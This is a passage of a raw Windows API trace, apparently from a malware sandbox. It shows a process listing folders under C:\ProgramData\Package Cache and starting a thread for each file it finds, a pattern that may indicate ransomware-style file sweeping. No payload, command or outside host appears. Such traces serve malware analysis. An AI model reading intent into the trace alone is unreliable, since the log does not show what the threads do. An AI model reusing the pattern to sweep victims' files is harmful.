ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c430 [0087.687] wcscmp (_String1=".", _String2=".") returned 0 [0087.687] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.687] wcscmp (_String1="..", _String2=".") returned 1 [0087.687] wcscmp (_String1="..", _String2="..") returned 0 [0087.687] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0087.688] wcscmp (_String1="packages", _String2=".") returned 1 [0087.688] wcscmp (_String1="packages", _String2="..") returned 1 [0087.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x106c40 [0087.688] wcscpy (in: _Dest=0x106c40, _Source="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0087.688] wcscat (in: _Dest=0x106c40, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\" [0087.688] wcscat (in: _Dest=0x106c40, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" [0090.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x106c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a0 [0090.604] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0090.604] FindClose (in: hFindFile=0x1cd9c430 | out: hFindFile=0x1cd9c430) returned 1 [0090.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9af20) returned 1 [0090.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a6360) returned 1 [0090.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a57b0) returned 1 Thread: id = 244 os_tid = 0xd00 [0087.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1b7a6410 [0087.696] wcscpy (in: _Dest=0x1b7a6410, _Source="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0087.696] wcscat (in: _Dest=0x1b7a6410, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\" [0087.697] wcscat (in: _Dest=0x1b7a6410, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*" [0087.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9b190 [0087.697] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x1cd9b190 | out: lpFindFileData=0x1cd9b190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c490 [0087.697] wcscmp (_String1=".", _String2=".") returned 0 [0087.697] FindNextFileW (in: hFindFile=0x1cd9c490, lpFindFileData=0x1cd9b190 | out: lpFindFileData=0x1cd9b190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.697] wcscmp (_String1="..", _String2=".") returned 1 [0087.697] wcscmp (_String1="..", _String2="..") returned 0 [0087.697] FindNextFileW (in: hFindFile=0x1cd9c490, lpFindFileData=0x1cd9b190 | out: lpFindFileData=0x1cd9b190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0087.697] wcscmp (_String1="packages", _String2=".") returned 1 [0087.697] wcscmp (_String1="packages", _String2="..") returned 1 [0087.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x106d00 [0087.697] wcscpy (in: _Dest=0x106d00, _Source="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0087.697] wcscat (in: _Dest=0x106d00, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\" [0087.697] wcscat (in: _Dest=0x106d00, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" [0090.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x106d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4 [0090.606] FindNextFileW (in: hFindFile=0x1cd9c490, lpFindFileData=0x1cd9b190 | out: lpFindFileData=0x1cd9b190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0090.606] FindClose (in: hFindFile=0x1cd9c490 | out: hFindFile=0x1cd9c490) returned 1 [0090.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b190) returned 1 [0090.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a6410) returned 1 [0090.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5860) returned 1 Thread: id = 245 os_tid = 0xd04 [0087.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7adac0 [0087.699] wcscpy (in: _Dest=0x1b7adac0, _Source="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0087.699] wcscat (in: _Dest=0x1b7adac0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0087.699] wcscat (in: _Dest=0x1b7adac0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*" [0087.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9b400 [0087.699] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x1cd9b400 | out: lpFindFileData=0x1cd9b400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c4f0 [0087.699] wcscmp (_String1=".", _String2=".") returned 0 [0087.699] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd9b400 | out: lpFindFileData=0x1cd9b400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.699] wcscmp (_String1="..", _String2=".") returned 1 [0087.699] wcscmp (_String1="..", _String2="..") returned 0 [0087.699] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd9b400 | out: lpFindFileData=0x1cd9b400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xe9f9cff0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0087.699] wcscmp (_String1="state.rsm", _String2=".") returned 1 [0087.699] wcscmp (_String1="state.rsm", _String2="..") returned 1 [0087.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b7a64c0 [0087.700] wcscpy (in: _Dest=0x1b7a64c0, _Source="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0087.700] wcscat (in: _Dest=0x1b7a64c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0087.700] wcscat (in: _Dest=0x1b7a64c0, _Source="state.rsm" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" [0090.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a64c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8 [0090.608] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd9b400 | out: lpFindFileData=0x1cd9b400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0x968d5df0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0090.608] wcscmp (_String1="VC_redist.x64.exe", _String2=".") returned 1 [0090.608] wcscmp (_String1="VC_redist.x64.exe", _String2="..") returned 1 [0090.608] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1cd9b400 | out: lpFindFileData=0x1cd9b400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0x968d5df0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0 [0090.608] FindClose (in: hFindFile=0x1cd9c4f0 | out: hFindFile=0x1cd9c4f0) returned 1 [0090.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b400) returned 1 [0090.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adac0) returned 1 [0090.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7841c0) returned 1 Thread: id = 246 os_tid = 0xd08 [0087.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7adb60 [0087.701] wcscpy (in: _Dest=0x1b7adb60, _Source="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0087.701] wcscat (in: _Dest=0x1b7adb60, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0087.701] wcscat (in: _Dest=0x1b7adb60, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*" [0087.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9b670 [0087.701] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x1cd9b670 | out: lpFindFileData=0x1cd9b670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c550 [0087.703] wcscmp (_String1=".", _String2=".") returned 0 [0087.703] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd9b670 | out: lpFindFileData=0x1cd9b670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.703] wcscmp (_String1="..", _String2=".") returned 1 [0087.703] wcscmp (_String1="..", _String2="..") returned 0 [0087.703] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd9b670 | out: lpFindFileData=0x1cd9b670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcad7040, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x105e7220, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0087.703] wcscmp (_String1="state.rsm", _String2=".") returned 1 [0087.703] wcscmp (_String1="state.rsm", _String2="..") returned 1 [0087.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b7a6570 [0087.703] wcscpy (in: _Dest=0x1b7a6570, _Source="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0087.704] wcscat (in: _Dest=0x1b7a6570, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0087.704] wcscat (in: _Dest=0x1b7a6570, _Source="state.rsm" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" [0090.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a6570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ac [0090.628] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd9b670 | out: lpFindFileData=0x1cd9b670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xfe5c3760, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0090.628] wcscmp (_String1="vcredist_x86.exe", _String2=".") returned 1 [0090.628] wcscmp (_String1="vcredist_x86.exe", _String2="..") returned 1 [0090.628] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd9b670 | out: lpFindFileData=0x1cd9b670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xfe5c3760, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0090.628] FindClose (in: hFindFile=0x1cd9c550 | out: hFindFile=0x1cd9c550) returned 1 [0090.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b670) returned 1 [0090.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adb60) returned 1 [0090.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784250) returned 1 Thread: id = 247 os_tid = 0xd0c [0087.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7adc00 [0087.705] wcscpy (in: _Dest=0x1b7adc00, _Source="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0087.705] wcscat (in: _Dest=0x1b7adc00, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0087.705] wcscat (in: _Dest=0x1b7adc00, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*" [0087.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9b8e0 [0087.705] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c5b0 [0087.706] wcscmp (_String1=".", _String2=".") returned 0 [0087.706] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.706] wcscmp (_String1="..", _String2=".") returned 1 [0087.706] wcscmp (_String1="..", _String2="..") returned 0 [0087.707] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93efac0, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6601040, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0087.707] wcscmp (_String1="state.rsm", _String2=".") returned 1 [0087.707] wcscmp (_String1="state.rsm", _String2="..") returned 1 [0087.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce108f0 [0087.707] wcscpy (in: _Dest=0x1ce108f0, _Source="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0087.707] wcscat (in: _Dest=0x1ce108f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0087.707] wcscat (in: _Dest=0x1ce108f0, _Source="state.rsm" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" [0090.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce108f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b0 [0090.638] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xedfa2720, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0090.638] wcscmp (_String1="VC_redist.x86.exe", _String2=".") returned 1 [0090.638] wcscmp (_String1="VC_redist.x86.exe", _String2="..") returned 1 [0090.638] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, 